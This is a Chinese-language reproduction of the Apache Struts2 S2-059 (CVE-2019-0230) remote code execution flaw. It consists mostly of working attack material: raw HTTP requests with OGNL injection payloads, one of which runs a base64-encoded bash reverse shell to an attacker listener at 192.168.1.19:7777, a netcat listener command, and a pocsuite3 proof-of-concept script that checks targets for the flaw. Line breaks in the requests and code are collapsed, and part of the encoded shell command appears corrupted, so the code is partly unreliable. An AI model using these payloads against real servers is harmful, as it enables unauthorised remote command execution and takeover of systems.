漏洞复现-Struts2-059 远程命令执行漏洞

POST / HTTP/1.1Host: x.x.x.x:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node01aiw1xbt99wjp1tved7cqqa6ym0.node0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 323
id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D%22

POST / HTTP/1.1Host: x.x.x.x:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node01aiw1xbt99wjp1tved7cqqa6ym0.node0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 309
id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BxixvZGxV2L3RjcC8xOTIuMTY4LjEuMTkvNzc3NyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'))%7D

nc.exe -lvvp 7777

# -*- coding:utf-8 -*-
from collections import OrderedDictfrom urllib.parse import urljoinimport refrom pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPEfrom pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):#漏洞信息    vulID = 'CVE-2019-0230'    version = 'Struts 2.0.0~2.5.20'    author = ['ry']    vulDate = '2022-05-05'    createDate = '2022-05-05'    updateDate = '2022-05-05'    references = ['https://cwiki.apache.org/confluence/display/WW/S2-059']    name = 'S2-059'    appPowerLink = 'S2-059'    appName = 'Strute2'    appVersion = '2.X'    vulType = 'RCE'    desc = '''        struts2-059远程代码执行漏洞    '''    samples = []    install_requires = ['']
    def _verify(self):        result = {}        path = "/"        url = self.url + path        #print(url)        payload = "?id=%25{88*88}"        #print(payload)        try:            resq = requests.get(url + payload)            if resq and resq.status_code == 200 and "7744" in resq.text:                result['VerifyInfo'] = {}                result['VerifyInfo']['URL'] = url                result['VerifyInfo']['Name'] = payload        except Exception as e:            return         return self.parse_output(result)
    def _attack(self):        return self._verify()
    def parse_output(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return output
register_poc(DemoPOC)